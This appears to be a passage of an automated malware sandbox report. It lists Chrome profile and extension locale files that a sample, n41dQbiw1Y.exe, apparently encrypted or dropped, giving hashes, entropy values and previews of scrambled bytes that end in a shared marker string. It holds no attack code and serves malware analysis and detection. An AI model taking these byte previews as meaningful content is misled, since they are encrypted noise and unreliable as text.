C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.481267886736371
Encrypted:	false
SSDEEP:	12:q3+BBe9PSRjaoPSpWwJIYh1++9pH33XXV7pTKxtJZYcii9a:p9wSA1++rHHHV1TmtUbD
MD5:	145766584409BC8DFC8E3AA33C000E4E
SHA1:	E8A1ACDE2BBD28B5434A8580A20D1D7047303484
SHA-256:	680D9E42290B45A0628CF51D551B16AA3D09C021CFEFDE106572A9593FAA72E6
SHA-512:	D19C1EDEE21EAFA01A0B5F2C0B51E419ADDB989CCCAE41EAAD0648A87D99C0CA5EF53048E287431DD51340D9B1C63E87661AEC6F7A4A4D0C389D22FF11A2A8FA
Malicious:	false
Preview:	.f.5.R%.....v..r..0.Y.vt...E..o........M@.>...A.......pK.z....mR@.\|.nBo.o..K...VO....i.4...m..\....@..P_..w.#v.%.G.^...O.%.?G...?.qHk..T...rE....i0..s..~.......m..`/....'.....O..$f.-.y.\..<_..5.t.*.c....Q..W.}......:...)i.n/(...X(......u.P..z..E........Sz..DT.n..l....Q-".4Y....q..q\|..LMP...]...r#.o.(`.y.L..G.T\|.....?RCM-Y.h.GE.....F}.8...8..\.H.1..$...13.\._P...-.G...w.L.?....m..T...YGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.483802545233265
Encrypted:	false
SSDEEP:	12:qDtgBiChepCLTVWTL+ejURiIEzv4yLiyi47U8exAYcii9a:kiftduL+ejgIzAyLiyil86FbD
MD5:	6733517EE4F1399C6D46BED3A40F5938
SHA1:	FE5E610760FAC87FCC2EB6FF4789421E079D8E58
SHA-256:	13B1EBEFBC385ACAC414ABE4AFB5D57C0B07E7C246142B79844F4BF6539628BD
SHA-512:	6784CB134822C92229BE3FB5B7E3029F19B02CDF4B154FC97DF0D7C403B1A98510453C2B95CDED117CBCD603D73CC242EDB6C9376350A4D824FE5A8193FED90D
Malicious:	false
Preview:	.f.5...(...S{..r.B.....E.j..%.....:z....VS....9..!20..h.v.)....!....K>hC.S..!.%.ow.....T....P.Fw5R..z....X} B....U/......)...d....z.Y;..RD.P...........9..d"d.......P.u..<Q.6.F$2....t.\|.p.C.".v.@..W\|...."by.....Ia..bH.....4/..X.."I...d.O......\|.9.......v..c.h.g.xAvB....;O.M....5hH.Db[..-.2....smxV.#.I....W%..QiZ...@......;m.A..........Y..c\[..\|P..E..}...Z/w.y......Ga..^.^*..L\|....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.725681849851651
Encrypted:	false
SSDEEP:	12:qj54kcspD/h7YQ3w2CwkyMOjSx+LYKvjypE5CPcdlAi1Xnr3mkDvxYcii9a:+5lcsp/yQC2MiLzvOqQPcn1XxD6bD
MD5:	2E64A9DDB9966BCCC1CBA66FDD15A954
SHA1:	F85119CE1E147CF7F51A526B5B27C2E5EFA89E2C
SHA-256:	AB3A2DC657B84E98821B001B1E8BE0D699E11793147E480E6851D38DC26CC0C7
SHA-512:	CEF5C01E708661E323239FD9F38BB52E854E59B27E25856DC411525F19265CBCDD9A4254E6A1DC914D53559D418D9772869FE9C4D01131BCCD3F197CE75F4640
Malicious:	false
Preview:	.f.5...Tu...yZ........Kbg........s%.m..m.'......Z..........VYD.#.\.....>.b...g.8'qeU>.....nE/g6.(N-I....W...3[...P~.....T.5.@..x.l......W'.3....@FZC]%.....+.(.;.},.pz..h...Wr.A..,.95.g.p1.4.....&-..{w......sg.,oSr.X./9.^.Z4Gq.[.Xh.LT.P_...RYJM.....4.!...$..b.=]....v.;Ki.....W.H.F.EW.X.%.3..-..jo.B>...d.9k.A_9...%....Trw..#..+.<.. .._R7.......m..1......RQ..7.....\|...w~-..H(.N.h.FD7...k.L....'/y.Mn../l.W:.s...'.M....t.....m<...u...%Y^..2:m..d#.....dw.C..S..._`+(.k"...3.\...A.4.Ag..H.._....B.[.El.......4UR.nX....0g;Y..g.......&e..x...U....SH......._+z}&.0...NJ......P........>.K{>.u.aitK.&...4..%hv.t..cZ.....l.......c...[q.t..WI..h...n.,..4._.....E.[i...S..%.e..."*QK..xGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG.old

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.656817371955595
Encrypted:	false
SSDEEP:	12:kmy32nVpg8u2urvDLSKC6veMelAClS9I80+sTgk9sp0otYw7APKYcii9a:o38u2urbTC62BE9/okispJ5OvbD
MD5:	A5A5D736343968BB9604E913D4087520
SHA1:	55EA49C51DC6B87985D23B1A89DEAB8B3128F876
SHA-256:	60915016D5F1DB51B8B58E853724813C2B68F07B1362463382B719429DF8F6C6
SHA-512:	83AA11ACA1421DC1ED5CD6ACCA5D5DC32913B20E22ED4ADA5496395D06CEEAEA1F525ADDAC5297F312BD6EAD402259E5739AE6C574E923FEACBB3987B9AD0511
Malicious:	false
Preview:	2023/.3....{.._...z........r...d.{.T....?$.u..V..... V..F.2........E.....[......&..%.~.IHO+..}...e...;..N..$.C.[.R4.K.O..1.i]`..Y....I.\|>...s..'+ .I.1..Q..x.....>....ivXd..?.....5...y.'.}..........F.ev.B'Vi...O.....EIT..N..ly..z..`C..`..Xf5.Q....#.z..X.n2...3...zW.Dx...[yB.h.+3....x.`.........c....._..e......sj!.......%..w8;....dn.[\e./.\.v,`.Z.u...6.5I]~.h...>3.fx....i..pk.pfn.w...e.=..d....q.yl........?k.$...l..%...#XQ.....\.6..O.)..O.=_h.J]sp.y`_....$.9[lM1m..,8.r......0R&....u.7gZW.....".g...T..:8:...Jh.\|5..pc1.H.p....-o...7..F....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\it\messages.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.787455386047844
Encrypted:	false
SSDEEP:	24:BKJIoBmwIribRAsrqd64DOt9knvd41Q5R/l47bD:s2obIWwd6t2uyRKD
MD5:	67DD53D065A515EEDE9FE1E68242FB4C
SHA1:	D0ACE057E1160E162CE797511ADF85F93A9C6D15
SHA-256:	E4919714CAB4387033FE7D856DA9EB0821EE173FB14C8DBC450D2774B79EF764
SHA-512:	AF95F271E00A4FB7CB81A62ED61D9532A216DB0E082B26697F7297B003F404BB7DD3BFDECC087AFDF8FC50256C33FC228AD1EEF9954AD67B24E1EF574FE6CF93
Malicious:	false
Preview:	{.. ..e..OQ..-.\~..q..sW..n?.@...,3wOCF.S.6..."jwR.e.. $k..W.6i[.....r..'bj.y.f.7KK..].B.oh2u.Y.Y..z..#.=.._i.8Nh.W.....7....K...S)...S.J.m..dz.'. ...}...CX.\|..g.SZ9..Z...T4.].D..L.~....Y....]L.SCb.....S.us.Y..V\..u.k.5`.....m...X...d..[..].>....>.J.....e.d..@i....8.$..{.l...cxy......+M."0 .....Kst%...T..%......H .....c.......q....C.......QB....x....) .t8`v.\um..?......U...0C..,E...r.$g@..iS.W.F1X.)Q.w...v...1..,.(..o;'+_U5....f~..b...\:1umcV0.A.4)..J..._.9,.M,..S.....o.....f.Lh.........@...@.#B~.:..GAij....%.X....: ..$.~....ER2.\I...D..K."4+..=.f.I6........(..L(V..u../K.8J...OD.ZA.j....p.m."G...r..f....Aw-.P.J.....=..GJ....,..#.....N....{K.GX.!1....d..i1.....y..Z/...i.Li.....T"{1....hm..^...Q9S.#w..8.K...y[.P..<..Yv.....O.8.7.._....^..(...x.kdh=9.:t.j.'.....8~.....OI...........P.b....+qGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ja\messages.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.812465238925273
Encrypted:	false
SSDEEP:	24:NIFgNKPflLu13Ke7wYZNk6K+j966Ol7AhsjidQXu1MubD:NIFgNKPcZKXYHk6X96zcsjicMD
MD5:	91C68E8981EC47A99F4615D7BBBD53DB
SHA1:	1C3552653DE6867172E0B7838D40F5C481F2107F
SHA-256:	2A633DE209C1BD2B3EC3021F0CF014D439A23786032480C32D0E0058D618EDEC
SHA-512:	BB9F3460C71401D9BAA3027B4F829AB1D773A203EC2A5AA8829A954CEE4D4D1832CD91E91E6EA360082FB6F92ED51509BAEC1266E0FF396D85B39689484733C0
Malicious:	false
Preview:	{.. XtF..SKh...!.N....-..Q.o..U.J...#k."XE...q.l.<.UMh..eu...N6...<..ViQ'p... .+......V.l.#.K.;.;......).=.....8'=..G ......#.".....mf.w#.......{.....S.u7!!P....W..Y.....a+)8....{. z...D.ZY.~s.~.k.>."p.9S..R.9&...6.F.9..W..Q.V.Kg.Fv....h&y....g..]i..d.J.R....sR<Y....SS..G..._........v...z..`...z.....IU`VE...z..T..!.....v..g.;..g..H^K)...U.-0;.............\|....ei.k....nz+./..I .....I..A.x..S.E.=..td.K'.iUpm....b......WS.[CAkOx..7.[..M5+.......U\.C.......F..O.prK..Ms...:.. .-nk....T^.,..5...'...S...H..>`..y......Yi.....}...k..:.....i.A):.OE.0.@.;w......t&D. .`..d.$b.1.c.#...2.3fh.;w.l....Z.%.{.+j/j.=Q.t..b...I..Q..\|}..!..D.,'...u....g.......J..L.0l..h.Xa..(Kxe.k........V.$Hu.....$q.#,eq..Z.i.\.+.....\..U......D....4.v.-.i...BO.8.y...DR...E.v\..e![................<hy!0.`.....f...w.../..]..7p}.."@wV......i.6..v.J.4cIYo.z..B;.>.E.u$../..Ymb,.J4E.="..).....^Q......j1^=..S........C.>.....w...e....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ko\messages.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.770400548584827
Encrypted:	false
SSDEEP:	24:6/BaAX+49h/yJleDu7LB/tL4Wt96SVSFrKbD:6XF94JaOLT99l7D
MD5:	D5121EFD36926283B71F8D73E117BB15
SHA1:	701A19945C895D813225CC7EF02D024727E79466
SHA-256:	D035741B3F9644380A36B3C1D29D8D0C9DCD8A82C79C19A1D43C28CB6595EFFA
SHA-512:	663A84B50BA04186230723C774EDF17DF081FBF5C3B20CB6F0AE48A7B4284F673AFFD4AD27D411C42FC6B0313F512949613A5E836B17CABCAA341998073D7CE8
Malicious:	false
Preview:	{.. yJe1f/Q..VE8....(...g.(..k8..o...2b.C......$..kx..P.'.vdG.,....[..~]..}g.g.4:...C....xf4..`....,..7.S.#l,N.=j...U.$.U..\..2.\|...f..o@.P.d./.....!...6I.x.gz..7....l.k[oa.~.[....../..'.E..j....fhZ.4[>j...g3+Zo9A.uf....S.S..IA.>R.._F=:...b8.7..$A...h.....n]&R..F;.C...w...Z.iv.\.,..&;I....1..5..@..jdM.H..q."....+.u..).%.%.t...%.F.i..I.h.d....2r.....t.....C...C.L..}..0}aB..C..?..-.#^\2n ..D.jo.w....+......&..h....U{^..4..z,..DuJ.j6DY...\/...>.XN...g.7.6ku3S.L...m.t..t..f...H...Y.tr..J...M.g\>B...m.pq!!..M.....D[l.w..%.~{.z..Bb.ZW..,.,.{g.C...c.A0o>..Y.......1.g...?..F.}......Y..........#..Q.xK.....<..~-..cW.(Gf.'g.f!;......C........,.-5..,.F...8.R....6}...P=q.:%.......Fk..n^~...$..).$....y.k...+..\...a.b.).3...{.Hd+.F..*.jg.F?..T...[...CK.'.&vYc....g..18O..u...M..K#j.a..R.u....~..a..:j..Jn%f.g.E..X.n..!=yVVc'X.]u.p[O.,...`/.\7i..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\lt\messages.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	999
Entropy (8bit):	7.805938364219307
Encrypted:	false
SSDEEP:	24:C4nthk6HI0z2YefUfGtUFrV/w9Mtr007SlsnrebhGMME7bD:CoLoKbefUffF5/wu/redGMME/D
MD5:	0DCC05D0E19E86B2A6F62B9693477E84
SHA1:	A634EC6F51F367FA97449F674826134FDFFC3F4A
SHA-256:	C0AB5E311D11A82BDD81D9764A76133593D53BA7D092B27C3D1E8C6EE5065F4C
SHA-512:	6A0ECB4652E96CBAA716F2283455C25E55DB175E2647CB51663D7AB8C96285477A2C7C8D1FD54D9761A2769C72B5A796DF486FBA0A1F33EAC317FC6E220283A7
Malicious:	false
Preview:	{.. J..........E.~<.9P..;.q.j.{.b....4.V..G........Hg....k....'..U5...=.k.....T..`....V...g.!.W{.3.....ug)n.wpQ..E3...N...,..R.$t...u5....1^.....M... ..2..U...$./..Gd....Z..{..i).+H....K.T....^V.q.iQ.{..)q......Lfz....".zuX.Nc......W..).41..I..; .\......>.[n.D....t.Z1..\|..?.3.Re..&..9.1...[J....<,5..2.JKV7..b.Qj......... .%..g..f&...]I.o\.kv.< ....}^s..b.O[^.!7 .bp=].D..;h..rZo..q)F.k.O..Sh_V....Y".Q....o#D.fV...cc....MG{..89H.9E....0.QM%.Oy.c.n......D\..{.0..G&`..t.I..h.\}-....'(1.....V L.G..R..^"s.;...=....y%......-.; .^....Am.........b....8n.+Z"n....k.......U.6..]Y.%.h..x...q.......q....^...W.nm...+...rJ/.:,...A+... @......AU...~._.V;..SS[TbN....0h...L_F..i.<.Y-.;(.9.$n..m.=7.Q.G...fuk..z.Ga..Ui.L..?....zb..,.c.@q....1..b.....G/.w%.9......I...t.T.........4...=G..._..36{u..%..<..L.....uLt..j.e.....rL.m;...<m^.......~UsR...k(>?....D.CO.C.....5._.y.r...@..T....\YFb...z.j.9ZGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\lv\messages.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1005
Entropy (8bit):	7.798995395447105
Encrypted:	false
SSDEEP:	24:+0GGfqUFYsqj/JRQEChq4e88Lo1dBKnOrojIbD:RGmqiYLrpn4eP+7rkSD
MD5:	73D9341F5C97AC2E3809EBE13345B591
SHA1:	024B0A5813F94DB0638B2E0559D62858FC39FCBD
SHA-256:	94BDCA46F6F7033A301DB6EF547F8DDFF9630FAE06CA96A9C80E664DD753907F
SHA-512:	E2DC649A399A9F04B1DCA690F208E56DBA462278E83F8B975D0BC61217367F43486C4E5A3604397B01F3E674E57AF4FBB500D22FCB91E947D1DAD22F07350CD5
Malicious:	false
Preview:	{.. ..@.1...I..R.U)u^.O.P..;...J..F..P8..5.S........>.L.Y...f..:8..w...av.s....\|A.:.."...9C<..4A.@.S.g'ik....+...5.f~.......u.s..".w...<m..UFYi.q.&..o..T....>... ...W..N......3.......d.9.:4.d.[].^.E.r9...A..m..A<.v`..8.....4..UK....N?f.Jy..F..".......k<U +....T...M.......4+... ..</ gx...><n..X........"u.......b")...t.....z...........+d.....m.q$.0...d.P.&..).1C%.rz..G....:.....=...O........6rq,.38W./..Zb;.&.)G......Lf..X.?.K..C...1..s...a./..}...D....#..{w.......E.2.+C.....8.R.T.h.7.N..L\'5......gf.R{f.....<...:...;.!...n...:....E..L..N.`...Xw..k;.,P$^..t/w.2b..KdK.....YB..G.......3E.........SR=....C3.+.]F....WM.L.j..L.[d..j...]6.......u..&(:<.2..i.s!...8...l.~.Ou.......[.A.$M..:.4H.n.....q........0.aO&...J.....!....,..rk.O1?YV.C.k.e.'.u>.=..R?.JZ...H/.@.q.. j>....g..^FD....T..\.q.]q..............I.)o.7}...-...S.j..i.`..T2........m..~....{.E<.\|.. .^..d.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\nb\messages.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	958
Entropy (8bit):	7.784422243453715
Encrypted:	false
SSDEEP:	24:AYNI7zfpTZ2Rm4pvgnSLun0CzaoZuodtZ4srbD:AY67j4A0rx6tFD
MD5:	D8DBD7AF157DBF2014BCEEAF32C1ABAE
SHA1:	37907113D7E9C3E80EB29E803AFDE74B8B9A664B
SHA-256:	D690A1DA2417207B86D7C9A5C9B4903890C9E4E35ABD4FC0E5E805CC42255F00
SHA-512:	A33A6E1B4E5AF703FAC907637DF6D0C63F3BAA64B74834FD6789C709231A50996B7E179F81EAAD610E572EA63DE8059A6F67DF52206F5F87C71B1DBFC4825E46
Malicious:	false
Preview:	{.. ...@....:....[.......\.c.8R.......\5tptz..W..Q....x..@~....1......@.\.....+&[b..X..6.d.H0d....y~...jP...y..9.&.n.z.gM.G(S..?.0.d....G."C..........B........j.....h:?<.6p......A.....x#.Z.A..V...Q..........;f.Fr..+.?V9.9..N.....h.Q.y..@..wo...G..qL$.N...:.....w...J....O4..1..C.u.(...I..a+X..S.[T..d.!..}Hw..u.Y.C.ayq.....-. #..`...U.xl.!4.n.hg7.......g._..6B..."Y,..^s..w..? ..N..Kd.O!+.H..g...@...mL;.]}....K..m....0..&...+....L..Z..e.7.'..6.w9n....m......G..@....}....^m`=&....].V .hN.......}...M.6..Fg..G...u.g..N.N.L.U^%,-n;...(g..m.f..6>/a.jH.!z...."..y-.:.0!......y.K...WX y"v.......U....>`=....U...4.M....R..\.^>.g,.%$....v#."]&..).7l.....a.3....M2..`..u.z<U..\P$...<.8......9{g./IG'.B.//....2..cZ..#.u.O.e`..2...n.....k...Z....H..2W........Ae....`..gI....!(..k...I.....U.....@..>4...P...kC....^pGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\nl\messages.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	949
Entropy (8bit):	7.781102049868788
Encrypted:	false
SSDEEP:	24:xUjlbaiJvKKPacN6uttgAvCrqMqLyO8AfGWZskVcCQ7tbD:xGF1S86uXDaqMqLyC13OD
MD5:	9621EDB0092049AAF621705E17443F71
SHA1:	679A8FC37751A5627D8B012620A7EF59E0463760
SHA-256:	2C4A5F52D80A1B7ADF2B14DA7EF8A1177502C7949B3BD099FE2C61A0EE0BEC6F
SHA-512:	840A7A9A24AECB57800546DF483633F8494B329EEB7308D6AB58652B70CCCA206F11387EFEF088A3FD54B94E2C5CBAB8DCFBB6470101D3B0A90504C36B61233A
Malicious:	false
Preview:	{.. {..n.Y7u...B`{).s..B....w..7...7Sprb\|T..}v..V.Y^.d...}....(..p..t.......eI.x.HL(.....nr.^.y...x..3.j....B]...1y1Ch.0................[-L...V...n.....\|..4..O.!...qF.5G.A.m<.,V...A..u.H....R?%.........q..d)..[y...'C....M"..X...Z.".X-.'c.\|.X..h..+.dpT.-'n\.Ask._...p=...NaI.?zc...zQ.P.'G..K&.2........wo.t.g..]..K...N.;[".c....0...r.{...\.H..y...I;...{.B..]...0O4...4..9.;.x..I.f8....QS...B#..........s....).w...=.JY2.1.<.#..JF..y.\|...q3r.GIK.<.O..J.\...D.L.A..+......?xJ.9Ld....~..!..w.f.YU/...Z..m.g.j......F..:E.q.x...1...oM\.D...B...y...$I.9y../..zp........._.V..\|...E..k.4$R....)...YM:..0]....[.4{.....,j...G...;1j.^.O=...X7%...z......3"..Q..o..C.J..q...C'.2..<]...c...i........+~x......E......wk7.d:.....;.\|.=...5.t...,.J..\c.m.U]...l.9B.x.kC.ed.I..{6...,..#.S.m&.._G........&.!.8O.*..'.i%....p.J... t...cCGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\pl\messages.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	970
Entropy (8bit):	7.733775596028665
Encrypted:	false
SSDEEP:	24:zISaIMIknleHHynUPybBR+tqJX3b9/ZoQS55xAbD:zISw3gHHyUadkWLXoQS/xaD
MD5:	51DA3F5CC91EB23198AD00F4B50EB787
SHA1:	F1549933C4F78EF2ACFDCAF2B8A53EDE68177118
SHA-256:	1459DAB9773C43E9E36E3E999F7DDC21A4BDE45B8C5DE8BA4DD80A9F97911EF2
SHA-512:	23D08F6518D245608FC1F054D06BAAC761D8B02EAD223A9D409117A0EB808B2408852B40FFCF66AD893427D5FA90D2D630EC86A9B77D26795D1B077E5450979F
Malicious:	false
Preview:	{.. B..........X.Wv......P...~k.I.Z.#....@.....&.2.h.j.Uk{.W.Zx..f........>....N.....$.TS.:.c..........03..G.N..h.H..f.KU...#.#i[...9..,.........Ra..W.Ic..W.C....z.&4..Z...............0e...}....].k/.e.......{(R..N8H....Z.~A.....KG....<.H..:,D%.1...G.q.M....z........R9Z....)......u.8`L...{9.+uNB.?)....Rz=yK..DJ....4..~.v...N(..H...z).h..,U....H..].pr.lq.R....!......H..j.+.....Sl\.M.7xX...W.w.K"5......G2..[..dR......b.....A...z4..E...l......Z1.?...AI.....tbckB...L....H.7...^..f...\|w!.u.......8s....3....lb...b......}{t...7$vYp..:&..3-T..O..r.Y...)....+...8..z....}>.z.~....G..H....l+$[mP`N."8.pHt..D.+e....@le.......R>.G.....)..P.+?..f8<....&T.Y8.ci....su....[=.9.7....Yw.9T..qI...P'..J.I.a..P...9...74..p..........Sa.L%...r.......]"}..{dyeQ..;...=.U....76..[.A....'#.~.@OS4h..`B....`.4.T_..z...}Ht/.......u.$.K.s{.t...t6...<.[Z#a...v'....XJGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\pt_BR\messages.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	970
Entropy (8bit):	7.783945538761369
Encrypted:	false
SSDEEP:	12:C1XPMMx0Vpb+p0aA4X6eJGANZiTJ1YM7incUrhrIY01avDLTeyRVb8BM8XVhzZpB:C1XUDHatPJGANgT095IS5RVQBLZpJbD
MD5:	246156C49AE16366FA8DCE7325E3AF54
SHA1:	47202294DB2B1FB1CCA83D43C7D9E67A4080F832
SHA-256:	6959864A4AFB021685A37A69968FC49DCCD34CFAA416E514DFD4B4B739026325
SHA-512:	ED32A2E63815DC49F80B791DD1B5731481030AE703FEAAE9821EB7C952340A8ED94E1156B0EA741F32471093C6C3F117D5F956910D0481FF998D0BABACF0EB3B
Malicious:	false
Preview:	{.. ;l3<....^.<.'~....i."...+.....&....'...2'.0j(..:....4..H..0.;.m<.~A.uo.....h....\.m...[iP..\B..B.JO)..bab...................I..b.....3...'..aOf)S.n#.R...aJ4x.....1d.MM.~...c.7.-..//.(_.&e......}..:.p0...w...S&T.>a!.xa$.rp...{.y........'}.Kd....B..v#_.z.KA..S.U...DP.f.5U.i.v.%K.H.t+y0..2.nCV.9....A.....O....+g`..u.rES...<v.3.W.$IMkn`i.3.2....}.,v..g.}~`#...K.V.c+s.......{)h.N...uZ...E../..2XK.....j2l.6.9\|...L..)0...Wj.Z..]RY...I. ..h../...E."W.......%...j./..3&.k...xo{..b.<........T.._L $9u...P.EC&9qx..........<Pl...E.._vh).......sXc..Ml...i......_9o."..XR!.~b.$^...j..-x;.mJ.._-...n.;(.h..t...1Z.>... .....S..Qve....[..... ...%.....o...c.o.>..P..BZUyw..l.{...4..nF.......k......t..^.Z.M<.........x_.sP...2.~.T..\...}].y-..l..P;./..U.......8H.....t.}.....\|...j..'i.)..J...N.6I.....F..........!2t;...../L..%..@I....a_.16.YAB..<...uu>L..g#GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\pt_PT\messages.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	956
Entropy (8bit):	7.7706739840775665
Encrypted:	false
SSDEEP:	24:f753/w2A/wde0LTADXCt2duzEq1fi6al3UMWJabYvbD:jt/w2A/N0LTAS2ceRnzYzD
MD5:	7608FAF9B6A4DB08B9A35E21AC592F3A
SHA1:	F720B33B722148E1455830ECB1F78989353FF2FF
SHA-256:	9EC39538320D7EDFD7BD17B47395EAC62887A2071DC8D38AF377E5257290BE0C
SHA-512:	99401765FC2AA1B8985311A267F1827C62967FA218CC4610E46E0AA4A925943BA442374DD1EAF59088AD5FF983E05CFB93DF62C33A0ED3588A44B5C380E1CAAC
Malicious:	false
Preview:	{.. ......p.D(P..A.P.B.S....f.....d...x":..Y...K.q...lS.w.sC.9u!i].F<.K....]........qk..l......t.YV...H".T..G.8npB.b..t.f#j.Q.....e.e....o..d^...!$..[..#...a..Q..R...T....DC}.7...'..:xr.?..np.oH..-'\.]%0o... ..[a..GZ.....F_..+.g9..q.....m<...:J..l..\|m...q4.j.i.....v..@d_Gu...K.k.^Dm............{....s.Y...M8....{.."Z...)....c1im..1](.)...3...i...'....,..H.....e..+`..S.j.....j..W.g9....!.;<....Q.....+&.x...Lw9......E..F...........,._.U.v..!......,`..W......}.6..Wu3E.=...?....H..\.R.,..n.O.._&..@;a....}......6..~.Z..r.^R.....B...h.1..a..=B8:..iB.\.X..>.(...]QK..%L\a...P.....@...E....j.....,...@C+.',..@'d..v...HK.*H..)..V....)..l..v.[..YT...._=-..Iv..d2..=T.f..=.K......P.&r_{u..t.V.3..J....F....i.=..J...7....M....K.?..a......j.\|G.8j(...'^M.'`..v.`..Jc!nQ9c..u_..R.-n.q...w.)C(...........%A.g:.~..JX....52..n..\..Ys....%..$GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ro\messages.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	975
Entropy (8bit):	7.786804122762664
Encrypted:	false
SSDEEP:	24:P86T2z0RgR76R9VZdeXbG0/NGusFwFcTWgIAnSo0ZbD:EZ72VXeXD1GuFcygIAL0ZD
MD5:	7B5F4C88398193474A0A5BBDD4CC06D0
SHA1:	E947D70464F0C5D7FEE3886C768AC0EDABAF9383
SHA-256:	E52D13E61BC9D0CA8D5699A79098BE8B58DDC13A3E2C3EA7016C3E683C0342E7
SHA-512:	8C03FC702EF0FDFC6B64670662E8D331AC450E6F8EECE5FEB6D395541DCED34A6C9ACDB7B9C77B96FE96CAE48EC9A5200A0FF3BE4FA7C763109FB5E585A92511
Malicious:	false
